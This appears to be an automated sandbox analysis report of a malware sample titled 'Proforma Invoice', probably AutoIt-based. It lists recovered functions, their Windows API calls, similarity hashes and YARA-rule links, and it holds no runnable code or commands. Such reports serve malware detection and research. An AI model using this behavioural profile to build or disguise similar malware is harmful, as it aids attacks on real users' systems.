Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 99e14973c4c0f4cd62df379b90c0c4716e948c0df38af2f96565cb49ba2af38e
Instruction ID: ff1368f1979aa51d6de2bd87a531e7834d891117a5953cb63723aa437e7f7b9e
Opcode Fuzzy Hash: 99e14973c4c0f4cd62df379b90c0c4716e948c0df38af2f96565cb49ba2af38e
Instruction Fuzzy Hash: A6514831108204AFC714EF64D885EAFBBEAFF85314F04492DF5459B2A2DB35E905CBA6

Function 00725799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 007257FB
GetMenuItemCount.USER32(00000000), ref: 00725832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0072585A
GetMenuItemID.USER32(?,?), ref: 007258C9
GetSubMenu.USER32(?,?), ref: 007258D7
PostMessageW.USER32(?,00000111,?,00000000), ref: 00725928

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 7b3ac7c128b031e061679d0f99b82bc6c4a7e84a535c2c2f33fbebb03b0c0510
Instruction ID: 0501d02ec591f8ac6c3d317bd05842b0e7cf718bb39576619e26a16a1b23ea57
Opcode Fuzzy Hash: 7b3ac7c128b031e061679d0f99b82bc6c4a7e84a535c2c2f33fbebb03b0c0510
Instruction Fuzzy Hash: 48515D35E00625EFDF11EF64D845AAEB7B5EF49320F104469E842BB351CB78AE41CB94

Function 006FEEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006FEF06
VariantClear.OLEAUT32(00000013), ref: 006FEF78
VariantClear.OLEAUT32(00000000), ref: 006FEFD3
_memmove.LIBCMT ref: 006FEFFD
VariantClear.OLEAUT32(?), ref: 006FF04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 006FF078

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 92102f3521ac2f44a9efe83c5336a7396fda52baef856c194c410a43ca20cf3b
Instruction ID: a8d3a5e5f35611c3805d6a2cbe44ac0a66837b21dae1fd62ecc90056fc672a11
Opcode Fuzzy Hash: 92102f3521ac2f44a9efe83c5336a7396fda52baef856c194c410a43ca20cf3b
Instruction Fuzzy Hash: 5A5179B5A00209EFDB10DF58C890AAAB7B9FF4C310B158569EE49DB301E735E911CBA0

Function 0070220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00702258
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 007022A3
IsMenu.USER32(00000000), ref: 007022C3
CreatePopupMenu.USER32 ref: 007022F7
GetMenuItemCount.USER32(000000FF), ref: 00702355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00702386

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: c0b061a1da76794285b9dd2d972a29a6db8f641c6fc3041c525766f040456bb0
Instruction ID: fc3516f2436f3006ffaa42e182fd19b803b1328fbee3788f6bf31cfda379aa3b
Opcode Fuzzy Hash: c0b061a1da76794285b9dd2d972a29a6db8f641c6fc3041c525766f040456bb0
Instruction Fuzzy Hash: 41519B72600209DBDF21CF68C88CBAEFBF5AF05314F148229E855A72D2D7789906CB51

Function 006A1765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 006A2612: GetWindowLongW.USER32(?,000000EB), ref: 006A2623

BeginPaint.USER32(?,?,?,?,?,?), ref: 006A179A
GetWindowRect.USER32(?,?), ref: 006A17FE
ScreenToClient.USER32(?,?), ref: 006A181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 006A182C
EndPaint.USER32(?,?), ref: 006A1876

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: a003ffd6fc7ceebc5116f7cd0f377ff563698878332430157858fec150110286
Instruction ID: b30a54c4df68446a0300239e94e118fb2d324cfa41dbc64e07006ef8898962c8
Opcode Fuzzy Hash: a003ffd6fc7ceebc5116f7cd0f377ff563698878332430157858fec150110286
Instruction Fuzzy Hash: CD418E30504701DFD720EF24CC84BBA7BE9EB46724F044669F9A58B2A1C7749C46EB65

Function 0072B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(007657B0,00000000,011A5670,?,?,007657B0,?,0072B5A8,?,?), ref: 0072B712
EnableWindow.USER32(00000000,00000000), ref: 0072B736
ShowWindow.USER32(007657B0,00000000,011A5670,?,?,007657B0,?,0072B5A8,?,?), ref: 0072B796
ShowWindow.USER32(00000000,00000004,?,0072B5A8,?,?), ref: 0072B7A8
EnableWindow.USER32(00000000,00000001), ref: 0072B7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0072B7EF

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: b82460103dcb77b352b18868a865cfc397d0ed6b21a18567a17856febc010ccc
Instruction ID: 8c9fa92062208cb4e35178827aff389e6ba0b114333f045810db15a24a2460ce
Opcode Fuzzy Hash: b82460103dcb77b352b18868a865cfc397d0ed6b21a18567a17856febc010ccc
Instruction Fuzzy Hash: 90417F34600251EFDB26CF24E499B957BF1FF45310F5881BAE9488F7A2C739A85ACB50

Function 0071709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00714E41,?,?,00000000,00000001), ref: 007170AC

Part of subcall function 007139A0: GetWindowRect.USER32(?,?), ref: 007139B3

GetDesktopWindow.USER32 ref: 007170D6
GetWindowRect.USER32(00000000), ref: 007170DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 0071710F

Part of subcall function 00705244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 007052BC

GetCursorPos.USER32(?), ref: 0071713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00717199

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 11c97faccbffcb77a3cbc83a4943a8cc4117b9cb2b0b08af1eac19e32b65cda8
Instruction ID: b5915181ebf3999533ef006706a780b99437bd2f8a04bc01a938c0025f6f3b81
Opcode Fuzzy Hash: 11c97faccbffcb77a3cbc83a4943a8cc4117b9cb2b0b08af1eac19e32b65cda8
Instruction Fuzzy Hash: 7D31D272509309ABD724DF18C849F9BB7E9FFC8314F000929F585971D1C678EA49CB96

Function 006F8879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006F80A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 006F80C0
Part of subcall function 006F80A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 006F80CA
Part of subcall function 006F80A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 006F80D9
Part of subcall function 006F80A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 006F80E0
Part of subcall function 006F80A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 006F80F6

GetLengthSid.ADVAPI32(?,00000000,006F842F), ref: 006F88CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 006F88D6
HeapAlloc.KERNEL32(00000000), ref: 006F88DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 006F88F6
GetProcessHeap.KERNEL32(00000000,00000000,006F842F), ref: 006F890A
HeapFree.KERNEL32(00000000), ref: 006F8911

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 140c6aba413c35aef5fc26d8bcebccbec97f6614a249721e6779bec24d55988f
Instruction ID: 28180bfff2708facbac7b8e396d7b6bb2497063a9e26e97154be98e57f79eb06
Opcode Fuzzy Hash: 140c6aba413c35aef5fc26d8bcebccbec97f6614a249721e6779bec24d55988f
Instruction Fuzzy Hash: 5011AC3160120DFFDB209FA8DC0ABBE7BBAEB45311F5080A8E98597210CB769D11DB60

Function 006F85B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 006F85E2
OpenProcessToken.ADVAPI32(00000000), ref: 006F85E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 006F85F8
CloseHandle.KERNEL32(00000004), ref: 006F8603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 006F8632
DestroyEnvironmentBlock.USERENV(00000000), ref: 006F8646

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: bbbc6e1e50feecdb92ba4a8d287a238e46723da92f43be932d622e531cc42723
Instruction ID: 822bb9241d11aeaa6f6c76c84ff3110cf45bd96540442127ab2c2dc7e1c280e9
Opcode Fuzzy Hash: bbbc6e1e50feecdb92ba4a8d287a238e46723da92f43be932d622e531cc42723
Instruction Fuzzy Hash: 5E11477250024DAFDF118FA4DD49FEE7BBAEB48704F048065FE04A2261C6768D61AB64

Function 006FB790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 006FB7B5
GetDeviceCaps.GDI32(00000000,00000058), ref: 006FB7C6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 006FB7CD
ReleaseDC.USER32(00000000,00000000), ref: 006FB7D5
MulDiv.KERNEL32(000009EC,?,00000000), ref: 006FB7EC
MulDiv.KERNEL32(000009EC,?,?), ref: 006FB7FE

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: a0500e45035d00de6ac0daba7c6bf9181447197f4d03a5462997406725b4eeec
Instruction ID: 09bedc7c8cf416d47b3d764c8a707c3376cf78b9c5dd7cef692737cde9396b6f
Opcode Fuzzy Hash: a0500e45035d00de6ac0daba7c6bf9181447197f4d03a5462997406725b4eeec
Instruction Fuzzy Hash: DE018475E00209BBEB20ABA6DD45E5EBFB8EB48311F008076FA04A7291D6309C11CF95

Function 006C0162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 006C0193
MapVirtualKeyW.USER32(00000010,00000000), ref: 006C019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 006C01A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 006C01B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 006C01B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 006C01C1

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 53fd7f022fd9f3351f4ae0017913e3c75d6b7e4a622016a5cb1784589c403e1a
Instruction ID: 29eae07d59109329a9810e5e9f1814eb490a6e9538e410988c1895c814d7fa73
Opcode Fuzzy Hash: 53fd7f022fd9f3351f4ae0017913e3c75d6b7e4a622016a5cb1784589c403e1a
Instruction Fuzzy Hash: 2D0148B0902759BDE3008F5A8C85A52FEA8FF19354F00411BE15847941C7B5A868CBE5

Function 007053E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 007053F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0070540F
GetWindowThreadProcessId.USER32(?,?), ref: 0070541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0070542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00705437
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0070543E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 086377d5ca54f7757dad27bad5fb6a1392a11c81fa2bc204ad88ec4913e768c4
Instruction ID: a013d9c90a8cda07b9ce955f2b33a7a73b92b3cb9161d516bc2f9a7d526166a5
Opcode Fuzzy Hash: 086377d5ca54f7757dad27bad5fb6a1392a11c81fa2bc204ad88ec4913e768c4
Instruction Fuzzy Hash: 6FF01D32641558BBE7315BA29C0EEEB7A7CEBCAB11F004179FA04D1091D6A91A1286B9

Function 00707230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00707243
EnterCriticalSection.KERNEL32(?,?,006B0EE4,?,?), ref: 00707254
TerminateThread.KERNEL32(00000000,000001F6,?,006B0EE4,?,?), ref: 00707261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,006B0EE4,?,?), ref: 0070726E

Part of subcall function 00706C35: CloseHandle.KERNEL32(00000000,?,0070727B,?,006B0EE4,?,?), ref: 00706C3F

InterlockedExchange.KERNEL32(?,000001F6), ref: 00707281
LeaveCriticalSection.KERNEL32(?,?,006B0EE4,?,?), ref: 00707288

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 33786b83defcc16d81677eb0f48b1970bc22d59b6075792da8fac2d07686bb32
Instruction ID: 954d41b494c99f64cd5748b723f9188867bc25735edaf06efe9cbcd7be4f7e3e
Opcode Fuzzy Hash: 33786b83defcc16d81677eb0f48b1970bc22d59b6075792da8fac2d07686bb32
Instruction Fuzzy Hash: 15F0E236841212EBE7611B24EE4CDEF37B9FF06302B000235F103900A0CB7E2812CB64

Function 006F8992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 006F899D
UnloadUserProfile.USERENV(?,?), ref: 006F89A9
CloseHandle.KERNEL32(?), ref: 006F89B2
CloseHandle.KERNEL32(?), ref: 006F89BA
GetProcessHeap.KERNEL32(00000000,?), ref: 006F89C3
HeapFree.KERNEL32(00000000), ref: 006F89CA

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: fd02d80a53dd23e42f4df888c78c80e2282c074e27285050d80e78cae7949d3a
Instruction ID: 40a9b4139ca146e02189ec29e6cf15d343aa57f108b74a907dda4cf4b415743a
Opcode Fuzzy Hash: fd02d80a53dd23e42f4df888c78c80e2282c074e27285050d80e78cae7949d3a
Instruction Fuzzy Hash: 16E0C236004005FBDA115FE1ED0C91ABF79FB89322B908230F21981070CB3A9832DB58

Function 006F7530 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00732C7C,?), ref: 006F76EA
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00732C7C,?), ref: 006F7702
CLSIDFromProgID.OLE32(?,?,00000000,0072FB80,000000FF,?,00000000,00000800,00000000,?,00732C7C,?), ref: 006F7727
_memcmp.LIBCMT ref: 006F7748

Strings

,,s, xrefs: 006F753D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID: ,,s
API String ID: 314563124-1043017150
Opcode ID: a7a5ac25a3ee0c8b390e0661dc1a7f7d01b3d13d8ece93a683207be25bf385a5
Instruction ID: 3d92ff10a24faa3aebc2cc0b8f5beb4c488d7f5dbabced2ac57f1c3e7d9b68d5
Opcode Fuzzy Hash: a7a5ac25a3ee0c8b390e0661dc1a7f7d01b3d13d8ece93a683207be25bf385a5
Instruction Fuzzy Hash: E081FC75A00109EFCB04DFA4C984EEEB7BAFF89315F204558E505EB251DB71AE06CB60

Function 007185ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00718613
CharUpperBuffW.USER32(?,?), ref: 00718722
VariantClear.OLEAUT32(?), ref: 0071889A

Part of subcall function 00707562: VariantInit.OLEAUT32(00000000), ref: 007075A2
Part of subcall function 00707562: VariantCopy.OLEAUT32(00000000,?), ref: 007075AB
Part of subcall function 00707562: VariantClear.OLEAUT32(00000000), ref: 007075B7

Strings

Incorrect Parameter format, xrefs: 0071864B, 0071880D
AUTOIT.ERROR, xrefs: 00718728

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 30918ca62f9e1cde30e6340a2d40d3b85927b015649e01e0872856742dc87554
Instruction ID: 7460fc96ed190f241185b673bc02e977ac214b0599d1740e9dc01fee75a1e4f8
Opcode Fuzzy Hash: 30918ca62f9e1cde30e6340a2d40d3b85927b015649e01e0872856742dc87554
Instruction Fuzzy Hash: BE917C70604301DFC750EF28C48599AB7E5EF89714F14892EF89A8B3A2DB35ED45CB52

Function 00702A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006BFC86: _wcscpy.LIBCMT ref: 006BFCA9

_memset.LIBCMT ref: 00702B87
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00702BB6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00702C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00702C97

Strings

0, xrefs: 00702B73

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
